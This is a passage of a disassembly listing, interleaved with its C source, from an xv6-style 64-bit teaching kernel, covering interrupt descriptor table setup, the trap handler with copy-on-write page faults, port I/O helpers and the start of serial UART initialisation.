pd[1] = addr;
ffff8000001099ff: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000109a03: 66 89 45 f0 mov %ax,-0x10(%rbp)
pd[2] = addr >> 16;
ffff800000109a07: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000109a0b: 48 c1 e8 10 shr $0x10,%rax
ffff800000109a0f: 66 89 45 f2 mov %ax,-0xe(%rbp)
pd[3] = addr >> 32;
ffff800000109a13: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000109a17: 48 c1 e8 20 shr $0x20,%rax
ffff800000109a1b: 66 89 45 f4 mov %ax,-0xc(%rbp)
pd[4] = addr >> 48;
ffff800000109a1f: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000109a23: 48 c1 e8 30 shr $0x30,%rax
ffff800000109a27: 66 89 45 f6 mov %ax,-0xa(%rbp)
asm volatile("lidt (%0)" : : "r" (pd));
ffff800000109a2b: 48 8d 45 ee lea -0x12(%rbp),%rax
ffff800000109a2f: 0f 01 18 lidt (%rax)
}
ffff800000109a32: 90 nop
ffff800000109a33: c9 leaveq
ffff800000109a34: c3 retq
ffff800000109a35 <rcr2>:
static inline addr_t
rcr2(void)
{
ffff800000109a35: f3 0f 1e fa endbr64
ffff800000109a39: 55 push %rbp
ffff800000109a3a: 48 89 e5 mov %rsp,%rbp
ffff800000109a3d: 48 83 ec 10 sub $0x10,%rsp
addr_t val;
asm volatile("mov %%cr2,%0" : "=r" (val));
ffff800000109a41: 0f 20 d0 mov %cr2,%rax
ffff800000109a44: 48 89 45 f8 mov %rax,-0x8(%rbp)
return val;
ffff800000109a48: 48 8b 45 f8 mov -0x8(%rbp),%rax
}
ffff800000109a4c: c9 leaveq
ffff800000109a4d: c3 retq
ffff800000109a4e <mkgate>:
struct spinlock tickslock;
uint ticks;
static void
mkgate(uint *idt, uint n, addr_t kva, uint pl)
{
ffff800000109a4e: f3 0f 1e fa endbr64
ffff800000109a52: 55 push %rbp
ffff800000109a53: 48 89 e5 mov %rsp,%rbp
ffff800000109a56: 48 83 ec 28 sub $0x28,%rsp
ffff800000109a5a: 48 89 7d e8 mov %rdi,-0x18(%rbp)
ffff800000109a5e: 89 75 e4 mov %esi,-0x1c(%rbp)
ffff800000109a61: 48 89 55 d8 mov %rdx,-0x28(%rbp)
ffff800000109a65: 89 4d e0 mov %ecx,-0x20(%rbp)
uint64 addr = (uint64) kva;
ffff800000109a68: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000109a6c: 48 89 45 f8 mov %rax,-0x8(%rbp)
n *= 4;
ffff800000109a70: c1 65 e4 02 shll $0x2,-0x1c(%rbp)
idt[n+0] = (addr & 0xFFFF) | (KERNEL_CS << 16);
ffff800000109a74: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000109a78: 0f b7 d0 movzwl %ax,%edx
ffff800000109a7b: 8b 45 e4 mov -0x1c(%rbp),%eax
ffff800000109a7e: 48 8d 0c 85 00 00 00 lea 0x0(,%rax,4),%rcx
ffff800000109a85: 00
ffff800000109a86: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000109a8a: 48 01 c8 add %rcx,%rax
ffff800000109a8d: 81 ca 00 00 08 00 or $0x80000,%edx
ffff800000109a93: 89 10 mov %edx,(%rax)
idt[n+1] = (addr & 0xFFFF0000) | 0x8E00 | ((pl & 3) << 13);
ffff800000109a95: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000109a99: 66 b8 00 00 mov $0x0,%ax
ffff800000109a9d: 89 c2 mov %eax,%edx
ffff800000109a9f: 8b 45 e0 mov -0x20(%rbp),%eax
ffff800000109aa2: c1 e0 0d shl $0xd,%eax
ffff800000109aa5: 25 00 60 00 00 and $0x6000,%eax
ffff800000109aaa: 09 c2 or %eax,%edx
ffff800000109aac: 8b 45 e4 mov -0x1c(%rbp),%eax
ffff800000109aaf: 83 c0 01 add $0x1,%eax
ffff800000109ab2: 89 c0 mov %eax,%eax
ffff800000109ab4: 48 8d 0c 85 00 00 00 lea 0x0(,%rax,4),%rcx
ffff800000109abb: 00
ffff800000109abc: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000109ac0: 48 01 c8 add %rcx,%rax
ffff800000109ac3: 80 ce 8e or $0x8e,%dh
ffff800000109ac6: 89 10 mov %edx,(%rax)
idt[n+2] = addr >> 32;
ffff800000109ac8: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000109acc: 48 c1 e8 20 shr $0x20,%rax
ffff800000109ad0: 48 89 c2 mov %rax,%rdx
ffff800000109ad3: 8b 45 e4 mov -0x1c(%rbp),%eax
ffff800000109ad6: 83 c0 02 add $0x2,%eax
ffff800000109ad9: 89 c0 mov %eax,%eax
ffff800000109adb: 48 8d 0c 85 00 00 00 lea 0x0(,%rax,4),%rcx
ffff800000109ae2: 00
ffff800000109ae3: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000109ae7: 48 01 c8 add %rcx,%rax
ffff800000109aea: 89 10 mov %edx,(%rax)
idt[n+3] = 0;
ffff800000109aec: 8b 45 e4 mov -0x1c(%rbp),%eax
ffff800000109aef: 83 c0 03 add $0x3,%eax
ffff800000109af2: 89 c0 mov %eax,%eax
ffff800000109af4: 48 8d 14 85 00 00 00 lea 0x0(,%rax,4),%rdx
ffff800000109afb: 00
ffff800000109afc: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000109b00: 48 01 d0 add %rdx,%rax
ffff800000109b03: c7 00 00 00 00 00 movl $0x0,(%rax)
}
ffff800000109b09: 90 nop
ffff800000109b0a: c9 leaveq
ffff800000109b0b: c3 retq
ffff800000109b0c <idtinit>:
void idtinit(void)
{
ffff800000109b0c: f3 0f 1e fa endbr64
ffff800000109b10: 55 push %rbp
ffff800000109b11: 48 89 e5 mov %rsp,%rbp
lidt((void*) idt, PGSIZE);
ffff800000109b14: 48 b8 c0 ac 1f 00 00 movabs $0xffff8000001facc0,%rax
ffff800000109b1b: 80 ff ff
ffff800000109b1e: 48 8b 00 mov (%rax),%rax
ffff800000109b21: be 00 10 00 00 mov $0x1000,%esi
ffff800000109b26: 48 89 c7 mov %rax,%rdi
ffff800000109b29: 48 b8 da 99 10 00 00 movabs $0xffff8000001099da,%rax
ffff800000109b30: 80 ff ff
ffff800000109b33: ff d0 callq *%rax
}
ffff800000109b35: 90 nop
ffff800000109b36: 5d pop %rbp
ffff800000109b37: c3 retq
ffff800000109b38 <tvinit>:
void tvinit(void)
{
ffff800000109b38: f3 0f 1e fa endbr64
ffff800000109b3c: 55 push %rbp
ffff800000109b3d: 48 89 e5 mov %rsp,%rbp
ffff800000109b40: 48 83 ec 10 sub $0x10,%rsp
int n;
idt = (uint*) kalloc();
ffff800000109b44: 48 b8 66 42 10 00 00 movabs $0xffff800000104266,%rax
ffff800000109b4b: 80 ff ff
ffff800000109b4e: ff d0 callq *%rax
ffff800000109b50: 48 ba c0 ac 1f 00 00 movabs $0xffff8000001facc0,%rdx
ffff800000109b57: 80 ff ff
ffff800000109b5a: 48 89 02 mov %rax,(%rdx)
memset(idt, 0, PGSIZE);
ffff800000109b5d: 48 b8 c0 ac 1f 00 00 movabs $0xffff8000001facc0,%rax
ffff800000109b64: 80 ff ff
ffff800000109b67: 48 8b 00 mov (%rax),%rax
ffff800000109b6a: ba 00 10 00 00 mov $0x1000,%edx
ffff800000109b6f: be 00 00 00 00 mov $0x0,%esi
ffff800000109b74: 48 89 c7 mov %rax,%rdi
ffff800000109b77: 48 b8 03 7c 10 00 00 movabs $0xffff800000107c03,%rax
ffff800000109b7e: 80 ff ff
ffff800000109b81: ff d0 callq *%rax
for (n = 0; n < 256; n++)
ffff800000109b83: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
ffff800000109b8a: eb 3b jmp ffff800000109bc7 <tvinit+0x8f>
mkgate(idt, n, vectors[n], 0);
ffff800000109b8c: 48 ba 60 d6 10 00 00 movabs $0xffff80000010d660,%rdx
ffff800000109b93: 80 ff ff
ffff800000109b96: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000109b99: 48 98 cltq
ffff800000109b9b: 48 8b 14 c2 mov (%rdx,%rax,8),%rdx
ffff800000109b9f: 8b 75 fc mov -0x4(%rbp),%esi
ffff800000109ba2: 48 b8 c0 ac 1f 00 00 movabs $0xffff8000001facc0,%rax
ffff800000109ba9: 80 ff ff
ffff800000109bac: 48 8b 00 mov (%rax),%rax
ffff800000109baf: b9 00 00 00 00 mov $0x0,%ecx
ffff800000109bb4: 48 89 c7 mov %rax,%rdi
ffff800000109bb7: 48 b8 4e 9a 10 00 00 movabs $0xffff800000109a4e,%rax
ffff800000109bbe: 80 ff ff
ffff800000109bc1: ff d0 callq *%rax
for (n = 0; n < 256; n++)
ffff800000109bc3: 83 45 fc 01 addl $0x1,-0x4(%rbp)
ffff800000109bc7: 81 7d fc ff 00 00 00 cmpl $0xff,-0x4(%rbp)
ffff800000109bce: 7e bc jle ffff800000109b8c <tvinit+0x54>
}
ffff800000109bd0: 90 nop
ffff800000109bd1: 90 nop
ffff800000109bd2: c9 leaveq
ffff800000109bd3: c3 retq
ffff800000109bd4 <trap>:
//PAGEBREAK: 41
void
trap(struct trapframe *tf)
{
ffff800000109bd4: f3 0f 1e fa endbr64
ffff800000109bd8: 55 push %rbp
ffff800000109bd9: 48 89 e5 mov %rsp,%rbp
ffff800000109bdc: 41 54 push %r12
ffff800000109bde: 53 push %rbx
ffff800000109bdf: 48 83 ec 10 sub $0x10,%rsp
ffff800000109be3: 48 89 7d e8 mov %rdi,-0x18(%rbp)
switch(tf->trapno){
ffff800000109be7: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000109beb: 48 8b 40 78 mov 0x78(%rax),%rax
ffff800000109bef: 48 83 e8 0e sub $0xe,%rax
ffff800000109bf3: 48 83 f8 31 cmp $0x31,%rax
ffff800000109bf7: 0f 87 7d 01 00 00 ja ffff800000109d7a <trap+0x1a6>
ffff800000109bfd: 48 8d 14 c5 00 00 00 lea 0x0(,%rax,8),%rdx
ffff800000109c04: 00
ffff800000109c05: 48 b8 58 ca 10 00 00 movabs $0xffff80000010ca58,%rax
ffff800000109c0c: 80 ff ff
ffff800000109c0f: 48 01 d0 add %rdx,%rax
ffff800000109c12: 48 8b 00 mov (%rax),%rax
ffff800000109c15: 3e ff e0 notrack jmpq *%rax
case T_IRQ0 + IRQ_TIMER:
if(cpunum() == 0){
ffff800000109c18: 48 b8 59 4a 10 00 00 movabs $0xffff800000104a59,%rax
ffff800000109c1f: 80 ff ff
ffff800000109c22: ff d0 callq *%rax
ffff800000109c24: 85 c0 test %eax,%eax
ffff800000109c26: 75 5d jne ffff800000109c85 <trap+0xb1>
acquire(&tickslock);
ffff800000109c28: 48 bf e0 ac 1f 00 00 movabs $0xffff8000001face0,%rdi
ffff800000109c2f: 80 ff ff
ffff800000109c32: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff800000109c39: 80 ff ff
ffff800000109c3c: ff d0 callq *%rax
ticks++;
ffff800000109c3e: 48 b8 48 ad 1f 00 00 movabs $0xffff8000001fad48,%rax
ffff800000109c45: 80 ff ff
ffff800000109c48: 8b 00 mov (%rax),%eax
ffff800000109c4a: 8d 50 01 lea 0x1(%rax),%edx
ffff800000109c4d: 48 b8 48 ad 1f 00 00 movabs $0xffff8000001fad48,%rax
ffff800000109c54: 80 ff ff
ffff800000109c57: 89 10 mov %edx,(%rax)
wakeup(&ticks);
ffff800000109c59: 48 bf 48 ad 1f 00 00 movabs $0xffff8000001fad48,%rdi
ffff800000109c60: 80 ff ff
ffff800000109c63: 48 b8 b8 73 10 00 00 movabs $0xffff8000001073b8,%rax
ffff800000109c6a: 80 ff ff
ffff800000109c6d: ff d0 callq *%rax
release(&tickslock);
ffff800000109c6f: 48 bf e0 ac 1f 00 00 movabs $0xffff8000001face0,%rdi
ffff800000109c76: 80 ff ff
ffff800000109c79: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff800000109c80: 80 ff ff
ffff800000109c83: ff d0 callq *%rax
}
lapiceoi();
ffff800000109c85: 48 b8 5c 4b 10 00 00 movabs $0xffff800000104b5c,%rax
ffff800000109c8c: 80 ff ff
ffff800000109c8f: ff d0 callq *%rax
break;
ffff800000109c91: e9 55 02 00 00 jmpq ffff800000109eeb <trap+0x317>
case T_IRQ0 + IRQ_IDE:
ideintr();
ffff800000109c96: 48 b8 0a 3c 10 00 00 movabs $0xffff800000103c0a,%rax
ffff800000109c9d: 80 ff ff
ffff800000109ca0: ff d0 callq *%rax
lapiceoi();
ffff800000109ca2: 48 b8 5c 4b 10 00 00 movabs $0xffff800000104b5c,%rax
ffff800000109ca9: 80 ff ff
ffff800000109cac: ff d0 callq *%rax
break;
ffff800000109cae: e9 38 02 00 00 jmpq ffff800000109eeb <trap+0x317>
case T_IRQ0 + IRQ_IDE+1:
// Bochs generates spurious IDE1 interrupts.
break;
case T_IRQ0 + IRQ_KBD:
kbdintr();
ffff800000109cb3: 48 b8 fd 47 10 00 00 movabs $0xffff8000001047fd,%rax
ffff800000109cba: 80 ff ff
ffff800000109cbd: ff d0 callq *%rax
lapiceoi();
ffff800000109cbf: 48 b8 5c 4b 10 00 00 movabs $0xffff800000104b5c,%rax
ffff800000109cc6: 80 ff ff
ffff800000109cc9: ff d0 callq *%rax
break;
ffff800000109ccb: e9 1b 02 00 00 jmpq ffff800000109eeb <trap+0x317>
case T_IRQ0 + IRQ_COM1:
uartintr();
ffff800000109cd0: 48 b8 2d a2 10 00 00 movabs $0xffff80000010a22d,%rax
ffff800000109cd7: 80 ff ff
ffff800000109cda: ff d0 callq *%rax
lapiceoi();
ffff800000109cdc: 48 b8 5c 4b 10 00 00 movabs $0xffff800000104b5c,%rax
ffff800000109ce3: 80 ff ff
ffff800000109ce6: ff d0 callq *%rax
break;
ffff800000109ce8: e9 fe 01 00 00 jmpq ffff800000109eeb <trap+0x317>
case T_IRQ0 + 7:
case T_IRQ0 + IRQ_SPURIOUS:
cprintf("cpu%d: spurious interrupt at %p:%p\n",
ffff800000109ced: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000109cf1: 4c 8b a0 88 00 00 00 mov 0x88(%rax),%r12
ffff800000109cf8: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000109cfc: 48 8b 98 90 00 00 00 mov 0x90(%rax),%rbx
ffff800000109d03: 48 b8 59 4a 10 00 00 movabs $0xffff800000104a59,%rax
ffff800000109d0a: 80 ff ff
ffff800000109d0d: ff d0 callq *%rax
ffff800000109d0f: 4c 89 e1 mov %r12,%rcx
ffff800000109d12: 48 89 da mov %rbx,%rdx
ffff800000109d15: 89 c6 mov %eax,%esi
ffff800000109d17: 48 bf a0 c9 10 00 00 movabs $0xffff80000010c9a0,%rdi
ffff800000109d1e: 80 ff ff
ffff800000109d21: b8 00 00 00 00 mov $0x0,%eax
ffff800000109d26: 49 b8 18 08 10 00 00 movabs $0xffff800000100818,%r8
ffff800000109d2d: 80 ff ff
ffff800000109d30: 41 ff d0 callq *%r8
cpunum(), tf->cs, tf->rip);
lapiceoi();
ffff800000109d33: 48 b8 5c 4b 10 00 00 movabs $0xffff800000104b5c,%rax
ffff800000109d3a: 80 ff ff
ffff800000109d3d: ff d0 callq *%rax
break;
ffff800000109d3f: e9 a7 01 00 00 jmpq ffff800000109eeb <trap+0x317>
case T_PGFLT: // at least a write: copyonwrite may copy the page
if ((tf->err & 2) && copyonwrite((char *)rcr2()))
ffff800000109d44: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000109d48: 48 8b 80 80 00 00 00 mov 0x80(%rax),%rax
ffff800000109d4f: 83 e0 02 and $0x2,%eax
ffff800000109d52: 48 85 c0 test %rax,%rax
ffff800000109d55: 74 23 je ffff800000109d7a <trap+0x1a6>
ffff800000109d57: 48 b8 35 9a 10 00 00 movabs $0xffff800000109a35,%rax
ffff800000109d5e: 80 ff ff
ffff800000109d61: ff d0 callq *%rax
ffff800000109d63: 48 89 c7 mov %rax,%rdi
ffff800000109d66: 48 b8 c2 c3 10 00 00 movabs $0xffff80000010c3c2,%rax
ffff800000109d6d: 80 ff ff
ffff800000109d70: ff d0 callq *%rax
ffff800000109d72: 85 c0 test %eax,%eax
ffff800000109d74: 0f 85 70 01 00 00 jne ffff800000109eea <trap+0x316>
break;
// else fall-through to default:
//PAGEBREAK: 13
default:
if(proc == 0 || (tf->cs&3) == 0){
ffff800000109d7a: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000109d81: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000109d85: 48 85 c0 test %rax,%rax
ffff800000109d88: 74 17 je ffff800000109da1 <trap+0x1cd>
ffff800000109d8a: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000109d8e: 48 8b 80 90 00 00 00 mov 0x90(%rax),%rax
ffff800000109d95: 83 e0 03 and $0x3,%eax
ffff800000109d98: 48 85 c0 test %rax,%rax
ffff800000109d9b: 0f 85 a6 00 00 00 jne ffff800000109e47 <trap+0x273>
// In kernel, it must be our mistake.
cprintf("unexpected trap %d from cpu %d rip %p (cr2=0x%p)\n",
ffff800000109da1: 48 b8 35 9a 10 00 00 movabs $0xffff800000109a35,%rax
ffff800000109da8: 80 ff ff
ffff800000109dab: ff d0 callq *%rax
ffff800000109dad: 49 89 c4 mov %rax,%r12
ffff800000109db0: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000109db4: 48 8b 98 88 00 00 00 mov 0x88(%rax),%rbx
ffff800000109dbb: 48 b8 59 4a 10 00 00 movabs $0xffff800000104a59,%rax
ffff800000109dc2: 80 ff ff
ffff800000109dc5: ff d0 callq *%rax
ffff800000109dc7: 89 c2 mov %eax,%edx
ffff800000109dc9: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000109dcd: 48 8b 40 78 mov 0x78(%rax),%rax
ffff800000109dd1: 4d 89 e0 mov %r12,%r8
ffff800000109dd4: 48 89 d9 mov %rbx,%rcx
ffff800000109dd7: 48 89 c6 mov %rax,%rsi
ffff800000109dda: 48 bf c8 c9 10 00 00 movabs $0xffff80000010c9c8,%rdi
ffff800000109de1: 80 ff ff
ffff800000109de4: b8 00 00 00 00 mov $0x0,%eax
ffff800000109de9: 49 b9 18 08 10 00 00 movabs $0xffff800000100818,%r9
ffff800000109df0: 80 ff ff
ffff800000109df3: 41 ff d1 callq *%r9
tf->trapno, cpunum(), tf->rip, rcr2());
if (proc)
ffff800000109df6: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000109dfd: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000109e01: 48 85 c0 test %rax,%rax
ffff800000109e04: 74 2b je ffff800000109e31 <trap+0x25d>
cprintf("proc id: %d\n", proc->pid);
ffff800000109e06: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000109e0d: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000109e11: 8b 40 1c mov 0x1c(%rax),%eax
ffff800000109e14: 89 c6 mov %eax,%esi
ffff800000109e16: 48 bf fa c9 10 00 00 movabs $0xffff80000010c9fa,%rdi
ffff800000109e1d: 80 ff ff
ffff800000109e20: b8 00 00 00 00 mov $0x0,%eax
ffff800000109e25: 48 ba 18 08 10 00 00 movabs $0xffff800000100818,%rdx
ffff800000109e2c: 80 ff ff
ffff800000109e2f: ff d2 callq *%rdx
panic("trap");
ffff800000109e31: 48 bf 07 ca 10 00 00 movabs $0xffff80000010ca07,%rdi
ffff800000109e38: 80 ff ff
ffff800000109e3b: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000109e42: 80 ff ff
ffff800000109e45: ff d0 callq *%rax
}
// In user space, assume process misbehaved.
cprintf("pid %d %s: trap %d err %d on cpu %d "
ffff800000109e47: 48 b8 35 9a 10 00 00 movabs $0xffff800000109a35,%rax
ffff800000109e4e: 80 ff ff
ffff800000109e51: ff d0 callq *%rax
ffff800000109e53: 48 89 c3 mov %rax,%rbx
ffff800000109e56: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000109e5a: 4c 8b a0 88 00 00 00 mov 0x88(%rax),%r12
ffff800000109e61: 48 b8 59 4a 10 00 00 movabs $0xffff800000104a59,%rax
ffff800000109e68: 80 ff ff
ffff800000109e6b: ff d0 callq *%rax
ffff800000109e6d: 89 c1 mov %eax,%ecx
ffff800000109e6f: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000109e73: 48 8b b8 80 00 00 00 mov 0x80(%rax),%rdi
ffff800000109e7a: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000109e7e: 48 8b 50 78 mov 0x78(%rax),%rdx
"rip 0x%p addr 0x%p--kill proc\n",
proc->pid, proc->name, tf->trapno, tf->err, cpunum(), tf->rip,
ffff800000109e82: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000109e89: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000109e8d: 48 8d b0 d0 00 00 00 lea 0xd0(%rax),%rsi
ffff800000109e94: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000109e9b: 64 48 8b 00 mov %fs:(%rax),%rax
cprintf("pid %d %s: trap %d err %d on cpu %d "
ffff800000109e9f: 8b 40 1c mov 0x1c(%rax),%eax
ffff800000109ea2: 53 push %rbx
ffff800000109ea3: 41 54 push %r12
ffff800000109ea5: 41 89 c9 mov %ecx,%r9d
ffff800000109ea8: 49 89 f8 mov %rdi,%r8
ffff800000109eab: 48 89 d1 mov %rdx,%rcx
ffff800000109eae: 48 89 f2 mov %rsi,%rdx
ffff800000109eb1: 89 c6 mov %eax,%esi
ffff800000109eb3: 48 bf 10 ca 10 00 00 movabs $0xffff80000010ca10,%rdi
ffff800000109eba: 80 ff ff
ffff800000109ebd: b8 00 00 00 00 mov $0x0,%eax
ffff800000109ec2: 49 ba 18 08 10 00 00 movabs $0xffff800000100818,%r10
ffff800000109ec9: 80 ff ff
ffff800000109ecc: 41 ff d2 callq *%r10
ffff800000109ecf: 48 83 c4 10 add $0x10,%rsp
rcr2());
proc->killed = 1;
ffff800000109ed3: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000109eda: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000109ede: c7 40 40 01 00 00 00 movl $0x1,0x40(%rax)
ffff800000109ee5: eb 04 jmp ffff800000109eeb <trap+0x317>
break;
ffff800000109ee7: 90 nop
ffff800000109ee8: eb 01 jmp ffff800000109eeb <trap+0x317>
break;
ffff800000109eea: 90 nop
}
// Force process exit if it has been killed and is in user space.
// (If it is still executing in the kernel, let it keep running
// until it gets to the regular system call return.)
if(proc && proc->killed && (tf->cs&3) == DPL_USER)
ffff800000109eeb: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000109ef2: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000109ef6: 48 85 c0 test %rax,%rax
ffff800000109ef9: 74 32 je ffff800000109f2d <trap+0x359>
ffff800000109efb: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000109f02: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000109f06: 8b 40 40 mov 0x40(%rax),%eax
ffff800000109f09: 85 c0 test %eax,%eax
ffff800000109f0b: 74 20 je ffff800000109f2d <trap+0x359>
ffff800000109f0d: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000109f11: 48 8b 80 90 00 00 00 mov 0x90(%rax),%rax
ffff800000109f18: 83 e0 03 and $0x3,%eax
ffff800000109f1b: 48 83 f8 03 cmp $0x3,%rax
ffff800000109f1f: 75 0c jne ffff800000109f2d <trap+0x359>
exit();
ffff800000109f21: 48 b8 d3 6b 10 00 00 movabs $0xffff800000106bd3,%rax
ffff800000109f28: 80 ff ff
ffff800000109f2b: ff d0 callq *%rax
// Force process to give up CPU on clock tick.
// If interrupts were on while locks held, would need to check nlock.
if(proc && proc->state == RUNNING && tf->trapno == T_IRQ0+IRQ_TIMER)
ffff800000109f2d: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000109f34: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000109f38: 48 85 c0 test %rax,%rax
ffff800000109f3b: 74 2d je ffff800000109f6a <trap+0x396>
ffff800000109f3d: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000109f44: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000109f48: 8b 40 18 mov 0x18(%rax),%eax
ffff800000109f4b: 83 f8 04 cmp $0x4,%eax
ffff800000109f4e: 75 1a jne ffff800000109f6a <trap+0x396>
ffff800000109f50: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000109f54: 48 8b 40 78 mov 0x78(%rax),%rax
ffff800000109f58: 48 83 f8 20 cmp $0x20,%rax
ffff800000109f5c: 75 0c jne ffff800000109f6a <trap+0x396>
yield();
ffff800000109f5e: 48 b8 8f 71 10 00 00 movabs $0xffff80000010718f,%rax
ffff800000109f65: 80 ff ff
ffff800000109f68: ff d0 callq *%rax
// Check if the process has been killed since we yielded
if(proc && proc->killed && (tf->cs&3) == DPL_USER)
ffff800000109f6a: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000109f71: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000109f75: 48 85 c0 test %rax,%rax
ffff800000109f78: 74 32 je ffff800000109fac <trap+0x3d8>
ffff800000109f7a: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000109f81: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000109f85: 8b 40 40 mov 0x40(%rax),%eax
ffff800000109f88: 85 c0 test %eax,%eax
ffff800000109f8a: 74 20 je ffff800000109fac <trap+0x3d8>
ffff800000109f8c: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000109f90: 48 8b 80 90 00 00 00 mov 0x90(%rax),%rax
ffff800000109f97: 83 e0 03 and $0x3,%eax
ffff800000109f9a: 48 83 f8 03 cmp $0x3,%rax
ffff800000109f9e: 75 0c jne ffff800000109fac <trap+0x3d8>
exit();
ffff800000109fa0: 48 b8 d3 6b 10 00 00 movabs $0xffff800000106bd3,%rax
ffff800000109fa7: 80 ff ff
ffff800000109faa: ff d0 callq *%rax
}
ffff800000109fac: 90 nop
ffff800000109fad: 48 8d 65 f0 lea -0x10(%rbp),%rsp
ffff800000109fb1: 5b pop %rbx
ffff800000109fb2: 41 5c pop %r12
ffff800000109fb4: 5d pop %rbp
ffff800000109fb5: c3 retq
ffff800000109fb6 <inb>:
{
ffff800000109fb6: f3 0f 1e fa endbr64
ffff800000109fba: 55 push %rbp
ffff800000109fbb: 48 89 e5 mov %rsp,%rbp
ffff800000109fbe: 48 83 ec 18 sub $0x18,%rsp
ffff800000109fc2: 89 f8 mov %edi,%eax
ffff800000109fc4: 66 89 45 ec mov %ax,-0x14(%rbp)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
ffff800000109fc8: 0f b7 45 ec movzwl -0x14(%rbp),%eax
ffff800000109fcc: 89 c2 mov %eax,%edx
ffff800000109fce: ec in (%dx),%al
ffff800000109fcf: 88 45 ff mov %al,-0x1(%rbp)
return data;
ffff800000109fd2: 0f b6 45 ff movzbl -0x1(%rbp),%eax
}
ffff800000109fd6: c9 leaveq
ffff800000109fd7: c3 retq
ffff800000109fd8 <outb>:
{
ffff800000109fd8: f3 0f 1e fa endbr64
ffff800000109fdc: 55 push %rbp
ffff800000109fdd: 48 89 e5 mov %rsp,%rbp
ffff800000109fe0: 48 83 ec 08 sub $0x8,%rsp
ffff800000109fe4: 89 f8 mov %edi,%eax
ffff800000109fe6: 89 f2 mov %esi,%edx
ffff800000109fe8: 66 89 45 fc mov %ax,-0x4(%rbp)
ffff800000109fec: 89 d0 mov %edx,%eax
ffff800000109fee: 88 45 f8 mov %al,-0x8(%rbp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
ffff800000109ff1: 0f b6 45 f8 movzbl -0x8(%rbp),%eax
ffff800000109ff5: 0f b7 55 fc movzwl -0x4(%rbp),%edx
ffff800000109ff9: ee out %al,(%dx)
}
ffff800000109ffa: 90 nop
ffff800000109ffb: c9 leaveq
ffff800000109ffc: c3 retq
ffff800000109ffd <uartearlyinit>:
static int uart; // is there a uart?
void
uartearlyinit(void)
{
ffff800000109ffd: f3 0f 1e fa endbr64
ffff80000010a001: 55 push %rbp
ffff80000010a002: 48 89 e5 mov %rsp,%rbp
ffff80000010a005: 48 83 ec 10 sub $0x10,%rsp
char *p;
// Turn off the FIFO
outb(COM1+2, 0);
ffff80000010a009: be 00 00 00 00 mov $0x0,%esi
ffff80000010a00e: bf fa 03 00 00 mov $0x3fa,%edi
ffff80000010a013: 48 b8 d8 9f 10 00 00 movabs $0xffff800000109fd8,%rax
ffff80000010a01a: 80 ff ff
ffff80000010a01d: ff d0 callq *%rax
// 9600 baud, 8 data bits, 1 stop bit, parity off.
outb(COM1+3, 0x80); // Unlock divisor
ffff80000010a01f: be 80 00 00 00 mov $0x80,%esi
ffff80000010a024: bf fb 03 00 00 mov $0x3fb,%edi
ffff80000010a029: 48 b8 d8 9f 10 00 00 movabs $0xffff800000109fd8,%rax
ffff80000010a030: 80 ff ff
ffff80000010a033: ff d0 callq *%rax
outb(COM1+0, 115200/9600);
ffff80000010a035: be 0c 00 00 00 mov $0xc,%esi
ffff80000010a03a: bf f8 03 00 00 mov $0x3f8,%edi
ffff80000010a03f: 48 b8 d8 9f 10 00 00 movabs $0xffff800000109fd8,%rax
